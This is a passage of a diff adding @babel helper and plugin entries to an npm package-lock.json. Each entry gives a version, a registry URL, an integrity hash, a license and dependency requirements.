"@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz", + "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.18.6.tgz", + "integrity": "sha512-KT10c1oWEpmrIRYnthbzHgoOf6B+Xd6a5yhdbNtdhtG7aO1or5HViuf1TQR36xY/QprXA5nvxO6nAjhJ4y38jw==", + "license": "MIT", + "dependencies": { + "@babel/helper-explode-assignable-expression": "^7.18.6", + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.18.6.tgz", + "integrity": "sha512-vFjbfhNCzqdeAtZflUFrG5YIFqGTqsctrtkZ1D/NB0mDW9TwW3GmmUepYY4G9wCET5rY5ugz4OGTcLd614IzQg==", + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.18.6", + "@babel/helper-validator-option": "^7.18.6", + "browserslist": "^4.20.2", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.18.6.tgz", + "integrity": "sha512-YfDzdnoxHGV8CzqHGyCbFvXg5QESPFkXlHtvdCkesLjjVMT2Adxe4FGUR5ChIb3DxSaXO12iIOCWoXdsUVwnqw==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-environment-visitor": "^7.18.6", + "@babel/helper-function-name": "^7.18.6", + "@babel/helper-member-expression-to-functions": "^7.18.6", + "@babel/helper-optimise-call-expression": "^7.18.6", + "@babel/helper-replace-supers": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.18.6.tgz", + "integrity": "sha512-7LcpH1wnQLGrI+4v+nPp+zUvIkF9x0ddv1Hkdue10tg3gmRnLy97DXh4STiOf1qeIInyD69Qv5kKSZzKD8B/7A==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "regexpu-core": "^5.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.1.tgz", + "integrity": "sha512-J9hGMpJQmtWmj46B3kBHmL38UhJGhYX7eqkcq+2gsstyYt341HmPeWspihX43yVRA0mS+8GGk2Gckc7bY/HCmA==", + "license": "MIT", + "dependencies": { + "@babel/helper-compilation-targets": "^7.13.0", + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/traverse": "^7.13.0", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0-0" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.6.tgz", + "integrity": "sha512-8n6gSfn2baOY+qlp+VSzsosjCVGFqWKmDF0cCWOybh52Dw3SEyoWR1KrhMJASjLwIEkkAufZ0xvr+SxLHSpy2Q==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-explode-assignable-expression": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.18.6.tgz", + "integrity": "sha512-eyAYAsQmB80jNfg4baAtLeWAQHfHFiR483rzFK+BhETlGZaQC9bsfrugfXDCbRHLQbIA7U5NxhhOxN7p/dWIcg==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.18.6.tgz", + "integrity": "sha512-0mWMxV1aC97dhjCah5U5Ua7668r5ZmSC2DLfH2EZnf9c3/dHZKiFa5pRLMH5tjSl471tY6496ZWk/kjNONBxhw==", + "license": "MIT", + "dependencies": { + "@babel/template": "^7.18.6", + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz", + "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.18.6.tgz", + "integrity": "sha512-CeHxqwwipekotzPDUuJOfIMtcIHBuc7WAzLmTYWctVigqS5RktNMQ5bEwQSuGewzYnCtTWa3BARXeiLxDTv+Ng==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", + "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.18.8", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.18.8.tgz", + "integrity": "sha512-che3jvZwIcZxrwh63VfnFTUzcAM9v/lznYkkRxIBGMPt1SudOKHAEec0SIRCfiuIzTcF7VGj/CaTT6gY4eWxvA==", + "license": "MIT", + "dependencies": { + "@babel/helper-environment-visitor": "^7.18.6", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-simple-access": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/helper-validator-identifier": "^7.18.6", + "@babel/template": "^7.18.6", + "@babel/traverse": "^7.18.8", + "@babel/types": "^7.18.8" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz", + "integrity": "sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.18.6.tgz", + "integrity": "sha512-gvZnm1YAAxh13eJdkb9EWHBnF3eAub3XTLCZEehHT2kWxiKVRL64+ae5Y6Ivne0mVHmMYKT+xWgZO+gQhuLUBg==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.18.6.tgz", + "integrity": "sha512-z5wbmV55TveUPZlCLZvxWHtrjuJd+8inFhk7DG0WW87/oJuGDcjDiu7HIvGcpf5464L6xKCg3vNkmlVVz9hwyQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-environment-visitor": "^7.18.6", + "@babel/helper-wrap-function": "^7.18.6", + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.18.6.tgz", + "integrity": "sha512-fTf7zoXnUGl9gF25fXCWE26t7Tvtyn6H4hkLSYhATwJvw2uYxd3aoXplMSe0g9XbwK7bmxNes7+FGO0rB/xC0g==", + "license": "MIT", + "dependencies": { + "@babel/helper-environment-visitor": "^7.18.6", + "@babel/helper-member-expression-to-functions": "^7.18.6", + "@babel/helper-optimise-call-expression": "^7.18.6", + "@babel/traverse": "^7.18.6", + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz", + "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.18.6.tgz", + "integrity": "sha512-4KoLhwGS9vGethZpAhYnMejWkX64wsnHPDwvOsKWU6Fg4+AlK2Jz3TyjQLMEPvz+1zemi/WBdkYxCD0bAfIkiw==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz", + "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.25.9", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz", + "integrity": "sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.25.9", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz", + "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz", + "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.18.6.tgz", + "integrity": "sha512-I5/LZfozwMNbwr/b1vhhuYD+J/mU+gfGAj5td7l5Rv9WYmH6i3Om69WGKNmlIpsVW/mF6O5bvTKbvDQZVgjqOw==", + "license": "MIT", + "dependencies": { + "@babel/helper-function-name": "^7.18.6", + "@babel/template": "^7.18.6", + "@babel/traverse": "^7.18.6", + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.18.6.tgz", + "integrity": "sha512-vzSiiqbQOghPngUYt/zWGvK3LAsPhz55vc9XNN0xAl2gV4ieShI2OQli5duxWHD+72PZPTKAcfcZDE1Cwc5zsQ==", + "license": "MIT", + "dependencies": { + "@babel/template": "^7.18.6", + "@babel/traverse": "^7.18.6", + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", + "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.18.6", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.26.3", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.26.3.tgz", + "integrity": "sha512-WJ/CvmY8Mea8iDXo6a7RK2wbmJITT5fN3BEkRuFlxVyNx8jOKIIhmC4fSkTcPcf8JyavbBwIe6OpiCOBXt/IcA==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.26.3" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.18.6.tgz", + "integrity": "sha512-Dgxsyg54Fx1d4Nge8UnvTrED63vrwOdPmyvPzlNN/boaliRP54pm3pGzZD1SJUwrBA+Cs/xdG8kXX6Mn/RfISQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.18.6.tgz", + "integrity": "sha512-Udgu8ZRgrBrttVz6A0EVL0SJ1z+RLbIeqsu632SA1hf0awEppD6TvdznoH+orIF8wtFFAV/Enmw9Y+9oV8TQcw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-skip-transparent-expression-wrappers": "^7.18.6", + "@babel/plugin-proposal-optional-chaining": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-proposal-async-generator-functions": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.18.6.tgz", + "integrity": "sha512-WAz4R9bvozx4qwf74M+sfqPMKfSqwM0phxPTR6iJIi8robgzXwkEgmeJG1gEKhm6sDqT/U9aV3lfcqybIpev8w==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-async-generator-functions instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-environment-visitor": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-remap-async-to-generator": "^7.18.6", + "@babel/plugin-syntax-async-generators": "^7.8.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-class-static-block": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.18.6.tgz", + "integrity": "sha512-+I3oIiNxrCpup3Gi8n5IGMwj0gOCAjcJUSQEcotNnCCPMEnixawOQ+KeJPlgfjzx+FKQ1QSyZOWe7wmoJp7vhw==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-static-block instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-proposal-decorators": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.18.6.tgz", + "integrity": "sha512-gAdhsjaYmiZVxx5vTMiRfj31nB7LhwBJFMSLzeDxc7X4tKLixup0+k9ughn0RcpBrv9E3PBaXJW7jF5TCihAOg==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-replace-supers": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/plugin-syntax-decorators": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-dynamic-import": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz", + "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-dynamic-import instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-export-namespace-from": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.6.tgz", + "integrity": "sha512-zr/QcUlUo7GPo6+X1wC98NJADqmy5QTFWWhqeQWiki4XHafJtLl/YMGkmRB2szDD2IYJCCdBTd4ElwhId9T7Xw==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-export-namespace-from instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-json-strings": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz", + "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-json-strings instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-json-strings": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-logical-assignment-operators": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.18.6.tgz", + "integrity": "sha512-zMo66azZth/0tVd7gmkxOkOjs2rpHyhpcFo565PUP37hSp6hSd9uUKIfTDFMz58BwqgQKhJ9YxtM5XddjXVn+Q==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-logical-assignment-operators instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", + "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-nullish-coalescing-operator instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-numeric-separator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz", + "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-numeric-separator instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-object-rest-spread": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.18.6.tgz", + "integrity": "sha512-9yuM6wr4rIsKa1wlUAbZEazkCrgw2sMPEXCr4Rnwetu7cEW1NydkCWytLuYletbf8vFxdJxFhwEZqMpOx2eZyw==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-object-rest-spread instead.", + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.18.6", + "@babel/helper-compilation-targets": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-catch-binding": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz", + "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-optional-catch-binding instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-chaining": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.18.6.tgz", + "integrity": "sha512-PatI6elL5eMzoypFAiYDpYQyMtXTn+iMhuxxQt5mAXD4fEmKorpSI3PHd+i3JXBJN3xyA6MvJv7at23HffFHwA==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-optional-chaining instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-skip-transparent-expression-wrappers": "^7.18.6", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-methods": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz", + "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-methods instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.18.6.tgz", + "integrity": "sha512-9Rysx7FOctvT5ouj5JODjAFAkgGoudQuLPamZb0v1TGLpapdNaftzifU8NTWQm0IRjqoYypdrSmyWgkocDQ8Dw==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-property-in-object instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-unicode-property-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz", + "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-unicode-property-regex instead.", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "license": "MIT", + 